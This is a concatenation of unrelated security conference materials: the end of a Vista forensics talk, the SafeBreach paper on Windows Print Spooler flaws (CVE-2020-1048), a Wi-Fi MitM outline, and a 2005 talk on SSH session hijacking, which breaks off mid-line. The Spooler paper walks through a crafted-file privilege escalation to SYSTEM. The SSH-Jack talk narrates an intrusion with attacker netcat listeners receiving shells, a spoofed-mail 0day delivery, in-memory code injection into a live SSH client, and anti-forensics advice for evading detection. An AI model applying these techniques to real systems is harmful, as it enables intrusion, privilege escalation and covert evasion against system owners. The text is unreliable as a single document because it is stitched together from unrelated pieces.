10:12:34 AM UTC Repair Correlate Recover 46 Shortcuts Shortcuts may contain IDs, label, size A snapshot of file’s attributes, media’s attributes Shortcut File Read-only File attributes N/A Last access time (UTC) 11/3/2006 10:12:34 AM Last write time (UTC) 11/11/2006 3:21:14 PM Creation time (UTC) 1643743 File size E2C3-F184 Volume Serial Number Nov 11 2006 Volume Label CD-ROM Volume Type D:\OfInterest.doc Local Path Link target information 47 Timestamp Analysis Last write time is earlier than created. Can indicate the time at which a file was transferred from source media. Can help identify the source file on source media. 11/3/2006 10:12:34 AM Last write 11/11/2006 3:21:14 PM Created Read-only File attributes N/A Last access time (UTC) 11/3/2006 10:12:34 AM Last write time (UTC) 11/11/2006 3:21:14 PM Creation time (UTC) 1643743 File size E2C3-F184 Volume Serial Number Nov 11 2006 Volume Label CD-ROM Volume Type D:\OfInterest.doc Local Path Link target information 48 Roadmap Background Case Study Engagement Preliminary Results Revised Scope Vista Event Logging Events Logging Service Undocumented Internals Event Log Analysis Recovery Correlation Report Shadow Copy Services Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel Repair Correlate Recover 49 "Shadow Copy tracks your every change." Automatic point-in-time copies. Incremental block level differences minimize space. Deletes older copies as needed for space (LRU). X 50 Legal Concerns Related to Vista Revised Federal Rules of Civil Procedure Scope of Production Historical snapshots are readily available in Vista Duty to Preserve Litigation Hold Notices Potential for Sanctions Form of Production Native files? Metadata? Point-in-time Image Snapshots? 51 Impact on Policy Maintenance May Complicate Corporate Policy Issues Document retention policies Complicates policy maintenance Disabling shadow copies in turn breaks backups, restore engine Metadata retention policy Ownership changes are visible now Gaps in documentation policy for Vista 52 Impact of Vista on Forensics FRCP: The rules have changed. Vista, in turn, changes the rules. What happens if one accepts the default system behavior? Things may never go away permanently. Vista leaves far more information than XP Changes in ownership (SID) Executives dislike surprises Risks regarding SOX compliance and litigation. 53 How Shadow Copy Works Acts like block device A layer between the device and file system Snapshot as of Wed. 7:00 Snapshot as of Wed. 10:00 Snapshot as of Wed. 13:00 Snapshot as of Wed. 15:00 Snapshot as of Wed. 19:00 File System Volume Shadow Copy (VSS) Service Block Device (disk) Blocks Blocks Current File System 54 Application writes data to disk Shadow Copies Disk Before Stevenson, WinHec 06 Upon write, overwritten block moves to shadow copy shadow copy holds only blocks that changed. Disk After Shadow Before Shadow After 55 Enabling Shadow Copies 56 Enabling Shadow Copies 57 58 59 60 61 62 63 64 Stevenson, WinHec 06 65 Stevenson, WinHec 06 66 Windows RE Auto-Repair Computer Bluescreens Reboot >5 attempts? Auto-launch Startup Repair Boot manager detects failure Fail over into Windows RE Diagnose and repair computer Reboot Successful boot? Windows Vista starts Cannot auto-repair (try manual) Yes Yes No No No No Yes Yes Stevenson, WinHec 06 67 Stevenson, WinHec 06 68 Tools - VSSAdmin C:\>vssadmin /? vssadmin 1.1 - Volume Shadow Copy Service administrative command- line tool (C) Copyright 2001 Microsoft Corp. ---- Commands Supported ---- Add ShadowStorage - Add a new volume shadow copy storage association Create Shadow - Create a new volume shadow copy Delete Shadows - Delete volume shadow copies Delete ShadowStorage - Delete volume shadow copy storage associations List Providers - List registered volume shadow copy providers List Shadows - List existing volume shadow copies List ShadowStorage - List volume shadow copy storage associations List Volumes - List volumes eligible for shadow copies List Writers - List subscribed volume shadow copy writers Resize ShadowStorage - Resize a volume shadow copy storage association 69 Resource Kit – VolRest C:\Resource Kit>volrest VOLREST 1.1 - Timewarp Previous Version command-line tool (C) Copyright 2003 Microsoft Corp. Usage: VOLREST [options] FileName Options are: /? - Displays this help. /A - Includes files with specified attributes. /AD Directories (only). /AS System files. /AH Hidden files. /B - Uses bare format (no heading information or summary). /S - Includes files in specified directory and all subdirectories. /R:<DirectoryName> - Restore all previous versions in target directory. /E - Restores empty directories (use with /R). /SCT - Decorates restored file names with the shadow copy timestamp. Use with /R. For example: "foo (Wednesday, January 01, 2003, 14.00.00).doc" Examples: VOLREST Z:\MYDIRECTORY\MYFILE.DOC VOLREST //server\share\MYDIRECTORY\.DOC VOLREST Z:\. /s /r:C:\OLDFILES VOLREST Z:\*.DOC /s /r:C:\OLDFILES /SCT 70 Questions? [email protected] http://murphey.org http://acsworldwide.com Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel Repair Correlate Recover 71 For More Info C. R. Murphey, “Automated Windows Event Log Forensics,” Digital Investigation, August 2007 Digital Forensic Research Workshop, 8/13/07 GMU Forensics Symposium HTCIA National 8/27/07	pdf
The Legacy Print Spooler: A story about vulnerabilities from the previous millennium until today Peleg Hadar, Senior Security Researcher, SafeBreach Labs Tomer Bar, Research Team Leader, SafeBreach Labs Created: January 2020 Updated: July 2020 (See the “Updated Notes” section) Table of Contents Introduction 2 Exploring the Print Spooler 2 The Printing Process 3 Diving into the Spooler 4 Our Research Environment 4 Picking our First Target: The SHD File 5 1st Vulnerability - Fuzzing in the Shadow (Files) 6 Sanity Test 6 Patching the Spooler for Fuzzing and Profit 7 Starting to Fuzz 9 First Crash Dump 10 Windows 10 19H2 10 Windows 2000 10 Root Cause Analysis (1st Vulnerability) 11 Background 11 Analyzing the Vulnerability 14 2nd Vulnerability - User-to-SYSTEM Privilege Escalation 15 Introduction 15 “Printing” to System32 - First Try 16 The RPC Impersonation Barrier 17 Printing to System32 - Second Try 18 Writing Files as SYSTEM 19 Mitigation 20 Updated Notes 21 References 21 Introduction SafeBreach Labs discovered three vulnerabilities in the Windows Print Spooler service. This is the story of how we discovered the DoS, CVE-2020-1048 and CVE-2020-1337 vulnerabilities which we reported to Microsoft. In this blog post, we will demonstrate our journey since we found the vulnerabilities, starting with exploring the Print Spooler components, diving in to the undocumented SHD file format and its parsing process, and last but not least, we will present both of the vulnerabilities which we found in the Print Spooler mechanism and analyze the root cause. Exploring the Print Spooler The Print Spooler is the primary component of the printing interface in Windows OS. It’s an executable file that manages the printing process. Some of its responsibilities are: ● Retrieving and loading the printer driver ● Spooling high-level function calls into a print job ● Scheduling the print job for printing The Printing Process The Print Spooler is based on an RPC client/server model, which means that there are several processes which are involved in a single printing operation. Screenshot Reference: https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-comp onents Let’s walk-through the printing process in brief: 1. A user application creates a print job by calling the GDI (Graphics Device Interface) which provides the application with the ability to print graphics and/or formatted text (for example, StartDoc). 2. GDI makes an RPC call to Winspool.drv (The client-side of the spooler, which exports RPC stubs), for example, GDI may use the StartDocPrinter function to forward the call to the Spooler Server (spoolsv.exe). 3. The spooler server (Spoolsv.exe) forwards the print job to the print router. 4. The print router (spoolss.dll) redirects the print job to one of the following print providers: a. If the printer is connected locally it will be redirected to the Local Print Provider (localspl.dll) b. Otherwise, it will be redirected to a Network Print Provider (e.g. Win32spl.dll, Inetpp.dll, etc.) Note: We will focus on the first local scenario. In this scenario, a local printer is connected to the workstation. (A pure-virtual printer can be added using Microsoft’s default API. No special permissions are required.) 5. The local print provider (localspl.dll) performs the following: a. Creates a Spool File (.SPL) which contains the data to be printed (EMF-SPOOL, RAW, TEXT) and a Shadow File (.SHD) which contains metadata about the print job. We will dive into the SHD format soon. b. Redirects the print job to the print processor. 6. The print processor, in our case, the local winprint processor, reads the print job’s spooled data. (Remember, this is the SPL file which might contain EMF-SPOOL, RAW, PSCRIPT1 or TEXT. Then the print processor converts the spooled data to RAW Data Type and sends it back to the appropriate port monitor for printing. 7. The port monitor, which is responsible for communicating between the user-mode spooler and the kernel-mode port drivers, will write the data to the printer. (We will use the local port, so it will just write the data to a predefined file path.) Diving into the Spooler Our Research Environment First, we defined our research environment: ● An updated Windows 10 x64 19H2 (The latest build while we wrote this article was 10.0.18362.535.) ● A local printer which prints to a file (very convenient for testing purposes) It can be added by a limited user (low-integrity) using three simple PowerShell commands. (You can do the same with WinAPI as well.): In this example, we’ve added a local port which prints into a file (c:\temp\a.bin) and configured a local printer named “Test2”, which prints its jobs to this port. Picking our First Target: The SHD File After we learned a bit about the Print Spooler architecture and components, we asked ourselves where we should start. Let’s summarize the two last steps of the printing process for a moment: 1. The local print provider (localspl.dll) creates a Spool File (.SPL) which contains the data to be printed (EMF-SPOOL, RAW, TEXT) and a Shadow File (.SHD) which contains metadata about the print job. 2. The print processor reads the print job’s spooled data. We know that the SPL file can be an interesting target to attack (and we might approach it later) as it’s being handled by the GDI which has a big attack surface (a lot of bugs were found in this one), but we were more interested in the SHD files for the following reasons: 1. This format doesn’t have any official documentation and we were curious. We asked ourselves some questions: What component is in charge of parsing this file? What does it contain? Is it encrypted? What impact can we have if we change this file? Later on we did find an out-dated (and pretty impressive) SHD documentation here: http://www.undocprint.org/formats/winspool/shd 2. Before even diving into a single piece of code, we looked at spoolsv.exe behavior while it started and we noticed that it enumerates SHD and SPL files in the PRINTERS folder (which is where the spool files are saved:) We assumed that if spoolsv.exe will find SPL and/or SHD files, it will try to parse them and maybe even send a print job to the printer. This seemed very interesting, as it provides a convenient way to send data directly to the spooler, which will (probably) be parsed and be used by other components as well. All we need to do is to drop some files into the directory and restart the service. Dropping a file into this directory is possible for every limited-user in the system. We decided to start with fuzzing this exact flow of shadow (SHD) file parsing. 1st Vulnerability - Fuzzing in the Shadow (Files) Sanity Test In order to make sure we can drop a large set of files that will be parsed successfully by the Print Spooler, we need make sure that we have the following: 1. A single SHD file which works (which means that the spooler will read it, send it to the virtual printer, and print to a file successfully). 2. No limit on the amount of SHD files that can be processed - We want to make sure that the spooler service can process unlimited SHD files. We prefer to drop a lot of files and restart the service once rather than restart the service multiple times (to reduce the overhead). We marked the “Keep printed documents” option and printed an empty document using mspaint.exe, to get the SPL and SHD files we needed: We restarted the Print Spooler service, but nothing happened. It just ignored our files. We assumed it probably marked the job status as “Printed” so it won’t send the same print jobs to the printer twice. Using the following unofficial SHD documentation and RE’d of the updated binaries using IDA Pro and WinDbg, we created an updated SHD template for 010 Editor which includes the relevant fields for our research. The template will be published on SafeBreach Labs’ GitHub repository. As can be seen in the following screenshot, the wStatus value of the SHD file is 0x480. According to Microsoft’s documentation, that means the following: JOB_STATUS_PRINTED \| JOB_STATUS_USER_INTERVENTION We changed it to JOB_STATUS_RESTART (0x800) and it worked. We have a valid SHD file that we can mess with during the fuzzing. Patching the Spooler for Fuzzing and Profit Next, we want to make sure we have no limitation on the number of SHD files that can be processed by Print Spooler. At the start, we looked at the same operation of SHD file enumeration as we showed before in the Process Monitor, and examined the stack trace: Looks like the interesting function is in localspl.dll (the local print provider): ProcessShadowJobs. We googled the name of the function and we found an interesting project called OpenNT which contains a very old version (1995-ish) of Windows source code including localspl which implements this exact function. This is very interesting, as we compared most of the logic and the code seemed to be very similar to the Windows 10 version so it was a good start. After auditing the source code we found a limitation inside the ReadShadowJob function (called from ProcessShadowJobs which we will talk about very soon) which we needed to bypass: The function extracts the job id from the SHD file, and compares it to MaxJobId which is 256. If it’s bigger than 255, it won’t process the file. This is how it looks in the Windows 10 version: In order to bypass the test we patched the jb instruction with 6 NOPs: Starting to Fuzz As a start, we decided to write and use our own simple fuzzer. When we looked at the start of the ReadShadowJob function, we noticed that each SHD file must have an existing SPL file with the same name as well, as it’s using CreateFile with the OPEN_EXISTING flag: We didn’t find any usage of the handle to the SPL file in this function, so we decided to drop empty SPL files for optimization purposes. After the fuzzer was done generating all of our crafted SHD files, we restarted the Print Spooler service. As we mentioned, we patched it so it can process all of our files at once (no need to restart the service.) First Crash Dump Windows 10 19H2 After approximately 20 minutes of fuzzing we’ve noticed a crash, which was reproducible: The stack trace was as follows: Windows 2000 We wanted to check if this bug existed on Windows 2000, assuming that this is pretty old code and there is a chance that the bug existed on this version as well. Here is how we checked: We took a valid SHD file from Windows 2000 and changed it in order to trigger the bug. The file was similar to the Win10 SHD version, except for some DWORD (32 bit) / QWORD (64 bit) differences. We dropped the file and restart the Spooler service: And we have a crash on Win2000 as well :). Apparently we found a very (very) old bug. Root Cause Analysis (1st Vulnerability) Background Before we dive into the bug root cause, we will provide you with the context of what happened so far (until the bug was triggered) in order for you to understand the bug better. 1. During the Spooler initialization process, the ProcessShadowJobs function was called in order to process the SHD files which needed to be printed. 2. Each SHD file was parsed by the ReadShadowJob which treats the SHD file as a serialized struct, extracting the values from the struct and assigning them to an INIJOB struct (which is undocumented). The INIJOB struct is allocated on the heap: 3. Moving on a little bit further, a scheduler thread was created (while initializing the local print provider): 4. The scheduler initialization process iterated all of the Spooler ports and made sure that each port had its own thread which can handle print jobs: 5. Once the port thread was ready, an infinite loop was run which waited for a print job (which was represented as the INIJOB struct, parsed from the SHD file): 6. After altering some attributes of the INIJOB struct, the Port thread function rewrote the SHD file by calling WriteShadowJob, and then sent the print job to a print processor (by calling PrintDocumentThruPrintProcessor.) Analyzing the Vulnerability The following is the stack trace of the crash: The WriteShadowJob function does the opposite of ReadShadowJob. It converts an INIJOB struct into a SHADOW_FILE struct and writes it back to a file. During the conversion process, it tries to retrieve the length of a SECURITY_DESCRIPTOR struct which was originally extracted from our crafted SHD file. This is the root cause of the bug, which we have already seen in the screenshot of the crash dump: RtlLengthSecurityDescriptor tried to dereference rax (which contains the address of the security descriptor struct inside the SHD file and can be controllable by any user). Let’s take a look at the Shadow File which caused the crash: Our fuzzer changed the offset of the SecurityInfo (which is the SECURITY_DESCRIPTOR struct) to 0x636 (instead of 0x624): Before the fuzzer made the change to the file, the function read 8 bytes of NULL (the green square in the screenshot) and didn’t try to dereference the data because it was equal to 0. When the fuzzer incremented the offset of the Security Descriptor struct by 0x10, it was no longer 0 (the red square in the screenshot), so it tried to dereference it, and then it crashed, resulting in crashing the service (DoS.) 2nd Vulnerability - User-to-SYSTEM Privilege Escalation Introduction When we did the fuzzing process, we learned a lot about the Spooler mechanism. We figured out what exactly happens during the printing process, which components are involved, what is the connection between each component, and how exactly the SHD (Shadow file) format is parsed. So we took a look once again at the updated SHD file format: (This is a cropped version): The fact that the SID of the user which created the print job was included in the SHD file seemed very interesting to us as any user can craft an SHD file. We immediately asked ourselves how the Print Spooler handles privileges, as it runs as NT AUTHORITY\SYSTEM. We will find out soon. So if the Print Spooler provides us with the ability to print to a file, maybe we can “print” a malicious file to System32 on behalf of NT AUTHORITY\SYSTEM? We assumed it’s possible since the Spooler runs as NT AUTHORITY\SYSTEM so it should be able to write to System32. “Printing” to System32 - First Try First, we used a Windows 10 VM with a limited-user and configured it as follows: 1. Added a local print port, located in System32. The file would be written to this path. 2. Added a local virtual printer which used the port we created. Next, using WinAPI we wrote a simple C program which prints RAW Data Type using our printer. We used RAW because we wanted to write a DLL file and we didn’t want the data to be parsed by any further component, just written as-is. We used a dummy DLL for PoC purposes and fired up the program to “print” the file to System32 within the context of the limited user: Our first try failed. We assumed it wouldn’t be so straight-forward, but let’s try to figure out why. The RPC Impersonation Barrier As we mentioned at the start of the article - when a user creates a printing job, it is sent over RPC to spoolsv.exe. In order to block the option of abusing the Print Spooler service and perform operations as SYSTEM, Microsoft used the impersonation feature of RPC which performs most of the tasks on behalf of the user which created the print job. This is the logic of the impersonation : It’s simple as this: 1. Call to RpcImpersonateClient 2. Call StartDocPrinter using the token of the user who created the print job 3. Call to RpcRevertToSelf Printing to System32 - Second Try We understood that we have to find some kind of use-case in which the Print Spooler will be able to create and perform our print job using its own SYSTEM token (and not by impersonation). We recalled the ProcessShadowJobs function, which we mentioned in the previous vulnerability. The function is called when the Spooler is being initialized and processes all of the SHD files within the Spooler folder. We wondered: Are you telling us that there is a function which (A) reads unencrypted serialized data (B) from a folder which we have write access to as a limited user and (C) we can fully control the data? Sounds like a plan! Originally, we assumed that during the early stages of the service initialization (and processing the SHD files), there was no context nor impersonation, as the SHD files were already written. We also assumed that the context of the user is extracted out of the SHD file (remember the SID field), but we found something better: It appears that the service is impersonating itself and operates as NT AUTHORITY\SYSTEM! Let’s try to change the SHD file to contain the SYSTEM SID, write it to the Spooler’s folder then restart the computer. Once the Spooler is restarted it will process the SHD file, parsing the SYSTEM’s SID and performing the operations on behalf of SYSTEM. Writing Files as SYSTEM We used a valid SHD file as a template and changed the following fields: 1. The SPLSize field. This is the size of the DLL which we want to write. 2. The status of the print job. We changed it to 0x800 so the spooler would process it. 3. The job number. Next, we copied the crafted SHD file and our DLL (as the SPL file) to the Spooler’s directory, running as a limited user: And then, we restarted the computer. We enabled ProcMon on boot so we could understand if we were able to write the DLL to System32: We succeeded. We just achieved a privilege escalation from a limited user to NT AUTHORITY\SYSTEM and wrote an arbitrary DLL file in System32. As a bonus, multiple Windows services loaded our DLL (wbemcomn.dll) as they didn’t verify the signature and tried to load the DLL from an unexisting path, meaning we also got code execution. Our wbemcomn.dll loaded an additional DLL named “hello-world.dll”, which dropped a txt file each time it got loaded. The name of the txt file consists of the username and the process which loaded it. Mitigation One of the root causes of the arbitrary file write bug class (in the context of local privilege escalation) is the fact that an unprivileged user is allowed to write directly to folders which are being handled directly by services which run as NT AUTHORITY\SYSTEM, for example: ● System32\spool\PRINTERS - CVE-2020-1048, CVE-2020-1337, Spooler DoS ● Spool\drivers\color - CVE-2020-1117 (RCE) ● System32\tasks - CVE-2019-1069 ● C:\ProgramData\Microsoft\Windows\WER\ReportQueue - CVE-2019-0863 ● c:\windows\debug\WIA ● c:\windows\PLA - 3 sub directories. In addition to reporting the vulnerabilities to MSRC, we also translated our experience into a Mini-Filter Driver as a PoC for demonstrating how one can prevent the exploitation of such vulnerabilities in real-time. You can find the source code in our GitHub repository[3]. Please notice that the code was written for demonstration purposes only, and should not be used in a production environment. Updated Notes Update (May 2020): Microsoft released a patch for the EoP vulnerability we found and assigned it CVE-ID: CVE-2020-1048. Update (June 2020): We have found a way to bypass the patch and re-exploit the vulnerability on the latest Windows version. Microsoft assigned this vulnerability CVE-ID: CVE-2020-1337 and it will be patched on August’s Patch Tuesday. We will be able to release technical details once it is patched. Stay tuned. References [1] Yuan, Feng: Windows Graphics Programming: Win32 GDI and DirectDraw [2] https://www.codeproject.com/Articles/8916/Printing-Architecture [3] https://github.com/SafeBreach-Labs/Spooler	pdf
More MitM Makes Mana Mostly Mediate Mischievous Messages @singe @cablethief [email protected] [email protected] Tracking Scenarios Scenario 1 Snoopy Don’t go to them Make them come to you Enterprise EAP Networks Scenario 2 EAP association 4-way handshake Server Cert Client Cert EAP Relay with Sycophant By @cablethief association 4-way handshake outer TLS setup MSCHAPv2 challenge MSCHAPv2 response association 4-way handshake outer TLS setup MSCHAPv2 challenge MSCHAPv2 response association outer TLS setup 4-way handshake sycophant Mallory in the Middle Scenario 3 MitM Practise HW-less CTFs https://w1f1.net/ @sensepost @singe @cablethief	pdf
Trust Transience: Post Intrusion SSH Hijacking July 2k5 - Blackhat USA 05 & Defcon 0x0D So you're a sneaky Blackhat... The Target Recon ● Mail headers say MUA is PINE ● .sig says Debian Sarge, kernel 2.4.22 ● Web logs show egress HTTPS traffic doesn't go via a proxy (no forwarded-for header) The Plan Let's Do It haxor:~$ nc -l -p 1337 admin@box:~$ id uid=1004(admin) gid=1004(admin) groups=1004(admin) admin@box:~$ ps auxw \| grep -q pine \|\| echo shit shit admin@box:~$ ls core core admin@box:~$ uname -nsr Linux box 2.6.11 haxor:~$ ./pine0day \| spoofmail -f 'Mr. Mbeki' -s 'Opportunity for joo!' [email protected] Things start to unravel admin@box:~$ w USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT admin pts/1 :0 09:28 10.3m 3.1s 0.2s bash admin pts/2 :0 09:31 1.0s 1.4s 0.9s bash admin pts/3 haxor.com 14:03 0.0s 0.3s 0.3s w admin@box:~$ ps x 3132 ? S 0:23 xfwm4 –-daemon –sm-client-id 34235 3590 ? S+ 0:05 xterm -rv 3593 pts/1 Ss+ 0:02 bash 3597 pts/1 S+ 0:12 ssh [email protected] 9034 ? S+ 0:03 xterm -rv 9036 pts/2 Ss+ 0:02 bash 9154 pts/3 R+ 0:00 ps x +++ATH0 ● Things have gone pear-shaped ● Haven't got root, are about to get busted ● Time to drop carrier and run? ● But that SSH session, oh so close. ● If only there was a way to get to the other end of that SSH... There is a way admin@box:~$ <Ctrl-A>:!!!!mafl-load ssh-jack 3597 haxor.com 1338 Connecting to /usr/bin/ssh running as pid 3597... Connected Ferreting out some useful symbols... Located libc symbol 'socket' at 0xb7e19a50 Located libc symbol 'connect' at 0xb7e195c0 Located libc symbol 'select' at 0xb7e12490 Located section '.got' 0x0807eb8c to 0x0807eef4 Located section '.plt' 0x0804aa68 to 0x0804b7d8 Located section '.text' 0x0804b7e0 to 0x08070450 Located section '.rodata' 0x08070480 to 0x0807dd6c Resolved dynamic symbol 'socket' at PLT: 0x0804b6b8 GOT: 0x0807eea8 Resolved dynamic symbol 'select' at PLT: 0x0804ad88 GOT: 0x0807ec5c Resolved dynamic symbol 'connect' at PLT: 0x0804b5f8 GOT: 0x0807ee78 Locating stub injection point... Phase 1: Find magic string in .rodata... 0x0807139c Phase 2: Find where magic string is used... 0x0804d803 Phase 3: Find three jump 0x0804d800 instructions... 0x0804d6d9 0x0804d6e1 0x0804d6e9 haxor:~$ nc -l -p 1338 root@ns1:~# echo pwned! pwned! Intro ● I'm Metlstorm / Adam ● From New Zealand – No, I don't know any hobbits, you sad Tolkien fanboi ● Work for a Linux systems integrator, in the past a corporate whore security consultant, ISP security guy, NOC monkey WTF Just Happened? ● Intrusion – MO: attack servers via the admins – Complexity == insecurity – Things go wrong... – ... you can drop carrier and run... – ... or display adaptability. (You look like you're writing an SSH jacker...) Post Intrusion ● Goals – Priv escalation – Stealth & consolidation – Recon, further penetration – Guerrilla; hit & fade, keep it moving ● Displaying Adaptability – Things don't go according to plan – Adaptability core difference between hackers and [skript\|korporate] kiddies (you don't want to end up like Markus Hess) Cross Host Privilege Escalation ● Maybe local root is a distraction ● Yes, exploiting local vulnerabilities is easier, we can see stack layout, versions, etc ● But what if there were something even easier? Trust Relationships ● Kicking it old school – rhosts – ports < 1024 == root – exporting / (rw) ● Gives you that warm apple pie nostalgia feeling ● Can you believe that we even called that hacking? ● Provides instant gratification; no waiting for user interaction (when the postman knew your name, and no one locked their front door) (We're all Unix hippies around here, share the love!) Non-Transient Trusts ● Traditional “fixed” trusts (rhosts, ssh trusts) ● Stored authentication credentials ● “One factor” auth ● Authentication based on connection properties (e.g: source IP, port) Transient Trust ● Trust relationships that exist only for a period of time ● Open, post authentication sessions ● Unless you personally auth each packet, any cross- priv-boundary connection has some transient trust Exploit Metrics ● Evaluate techniques for exploiting trusts ● Assume that we've just acquired a non-root shell on a client machine ● Metrics: (value 1-10) – Ease – Stealth – When – Feasibility Exploiting Non-Transient Trust ● Pretend to be Client A so the server trusts us Ease: 10 Stealth: 10 When: 10 Feasibility: 2 Exploiting (Keylogging) ● During Authentication: – Obtain User A's password ● Later: – Impersonate User A Ease: 7 Stealth: 8 When: 3 Feasibility: 7 Exploiting (MITM) ● During Authentication: – Impersonate Server to Client – Impersonate Client to Server ● Later: – Monitor session – Take over session Ease: 5 Stealth: 4 When: 3 Feasibility: 5 Exploiting (TCP Hijack) ● Later: – Predict TCP Sequence numbers – Take over running session Ease: 3 Stealth: 1 When: 7 Feasibility: 2 (Is it just me or does that look like Shimomura?) Exploiting (Application Hijack) ● Later: – Take control of network client application – Sneak down running, authenticated session Ease: 8 Stealth: 8 When: 7 Feasibility: 7 Hijack the Application ● Different MO: – attack during peak time, while the users are there – daylight robbery; take their root while they're using it... – ...without them even noticing ● Not really very technically challenging – just creative reapplication of tricks virii, debugging, binary reverse-engineering Technique Comparison ● Transient trusts almost as much fun as the real thing trusts key- log'n tcp hi- jack'n MITM tran sient trust 0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 feasibility stealthy when ease (Gentlemen, as this graph clearly shows, my m4d t3kneeq is teh b3zt!) The SSH 'Jacker ● SSH-Jack: A Python script which gives you a shell at the other end of a running SSH session – How it works – Implementation Details – Anti-forensics – Mitigation – Improvements, Direction Rich Protocols: SSH ● Goal: Hijack session while in active use without detection ● Virtual Channel infrastructure makes it seamless How it Works (I) ● Reuse the features provided by SSH... ● ... for evil ● Glue a socket to a second shell, add an Evil Hax0r, mix well. How it Works (II) ● Using Python and GDB/MI it: – ptrace attaches to the SSH client process How it Works (III) – finds the virtual channel setup code – patches it in memory to request a remote shell which talks to a local tcp socket instead of the user How it Works (IV) – alters execution flow to run the VC setup code How it Works (V) – restores original code & state – continues execution as if nothing happened... – ... except that you got pwned. What your mother warned you about ● Hackers are sneaky ● Hackers don't just install LRK4 and BNC any more (at least, the ones you don't catch) ● Good hackers display creativity (as do expensive pentesters... you hope) Automated Debugging ● Of course a human with a debugger can do sneaky things ● We want to automate it ● GDB is good, GDB/MI (machine interface) passable ● Python + GDB is a good mix; ubiquitous scripting language, interactive shell, good debugger Automated Debugging (II) ● Goal: sneakiness of a human, speed and portability of a script ● Less like debugging (no symbol information), more like bit of binary analysis mixed with a bit of virus technique Details ● SSH-Jack Nitty Gritty – Python GDB/MI – Finding a safe place to stop the program – Deciding where to redirect execution – Generating code to inject – Running it – Restoring everything ● Discussing with specific reference to SSH-Jack, but techniques are general GDB/MI ● GDB is the GNU debugger ● GDB/MI is it's programmatic interface ● Implemented gdbmi.py, python interface to GDB ● Basic functionality only, but usable. e.g: g=gdbmi() g.connect(pid) g.insertBreak(breakpoint) g.waitForBreak() oldeip = g.getRegs()[“eip”] g.setByte(0x0ee7beef, 0x29) A Safe Place ● Normally single threaded, use of globals, no locking, so we have to be careful ● Find a safe place to run our code – read the fine source – probably the mainline, as close to normal as possible ● Stop the process ● Locate address of safe place ● Add a breakpoint there, easy! ● Continue execution clientloop.c: 407: ret = select((maxfdp)+1, readsetp, writesetp, NULL, tvp); 408: if(ret > 0) { But where is select()? ● We don't have debug symbols ● No problem, just a few more steps: – Select() is provided by libc... – Ask for the address where the dynamic linker put libc::select() But where is select()? (II) – Find the entry in the ELF Global Offset Table for libc::select()'s address But where is select()? (III) – Find entries in the ELF Procedure Linkage Table for the GOT entry But where is select()? (IV) – Find calls to the PLT entry in the code ● In this case, there's only one call to select anyway, so last step not required ● Just a breakpoint in the ELF PLT will do Where we'll do the evil ● Find the virtual channel setup code: – ssh.c,1150: ssh_session2_open() ● Still no debug symbols ● Has unique string: – “dup() in/out/err failed” ● Similar to before: – find unique string in ELF .rodata section – find reference to .rodata entry in .text The Evil Itself ● Evil code will replace first half of VC setup code ● Save regs & flags before execution, restore after ● “Shellcode” to socket(); connect(); ● Put a socket where SSH expects a local filehandle (yay for Unix!) ● Leave register state just so, stack unmangled, so execution continues ● Uses libc calls, not syscalls, for no good reason The Evil Itself (II) ● Why the effort to overwrite half a function? – Avoid runtime, by hand linking with no symbols – SSH uses lots of globals, 'data driven' style using function pointer arrays, horrible to link by hand – Minimal deviation from existing code ● Handcrafting for each SSH binary tedious ● Don't have enough info for a general solution... ● ... until runtime. So we patch one up then. Generating the Evil ● Work backwards from unique string ● Learn stack size ● Patch in command line parameters ● Patch stack size, PLT entries for socket() and connect() into code Injecting the Evil ● Backup EIP ● Backup old code ● Evil code takes care of saving and restoring registers/flags ● Overwrite start of function() with evil ● Set breakpoint to catch end of evil Running it Saving EIP Saved EIP 0x804ad88 Saving 92 bytes of code that we're about to overwrite at 0x0804d679 Injecting 92 bytes of stub at 0x0804d679 Clearing breakpoint Setting new breakpoint at 0x0804d682 Setting EIP to 0x0804d679 Continuing execution. Waiting for breakpoint... Returned from our stub! Woot! Restoring 92 bytes of old code that we overwrote at 0x0804d679 Clearing break Resetting EIP Finished cleaning up, detaching from process. Smacking it upside the head with a SIGWINCH to wake it up... haxor:$ nc -l -p 1337 luser@pwned:~$ echo woot! woot! ● Clipart dude is playing hunt the Wumpus via SSH ● The Wumpus is still going to kill him Jack yourself? ● Test your plan of attack first – Write your hijack code in C, and compile it into the application – Hook it up to some sekret keystroke, or signal or whatever, so you know that it's possible – Base your 'shellcode' on what the compiler assembled ● Implement hijacking for a binary with debug symbols, much easier Jack yourself? (II) ● Build a list of symbols you need to find ● Decide how you're going to find them ● Write cunning code to do so ● Jack your friends for fun and profit ● Optional: package nicely with a spinny-round-o- vision OpenGL GUI for the kiddies and Security Consultants Bits and Pieces ● Think about your SCP-push backups, your CVS, your rsync. SSH gets around. ● Does the jacked connection show up in the list? ● What happens when they log out? ● Should work on any OpenSSH 3.x ish ● Current code known to work on Debian Sarge, RHEL3, RH9 ● SuSE's GCC is nuts. I'm amazed it runs at all. Tangent: Anti-forensic Technique ● Moving fast, not stopping to rootkit everything assumes you're taking Precautions ● Go and see the Grugq's talk. Really. It has FISTing. ● A brief summary ● How we apply anti-forensic technique in the SSH-Jacker Anti-Forensic Technique ● No code on disk == no tripwire, no encase – everything in memory only ● Use local tools/interpreters only – all they'll know is that you did something, not what – write your tools on the spot as you need them ● No new network connections for an IDS to spot – reuse your existing connection – hide in plain sight ● Encrypt everything so packet logs are useless How we implement AF principles ● Some bits are good already: – We use general purpose tools: ● python ● GDB – SSH is encrypted to start with – We're sneaking down an existing connection How we fail to implement AF ● Some bits not so good – python code lying around on disk for people to read – new connection from the SSH client to us to give us our shell... – ...which is also in the clear ● We need to try harder – SSH port forward incoming shell back down encrypted session Loading Python directly into memory ● Compile python bytecode locally, compress it, base64 encode for 7bit cleanliness ● Generate stub that will unpack and run the above ● Send both across your shell $ python -c 'import sys while 1: exec sys.stdin.readline()' ● Run a python interpreter, tell it to read python on stdin, and run it MAFL-Load ● Doesn't sound easy enough? How about a skript? – mafl-load script.py [args] – Does all the previous, in one easy step ● I hack in Screen, which rocks even more – Ctrl-A:!!!!mafl-load 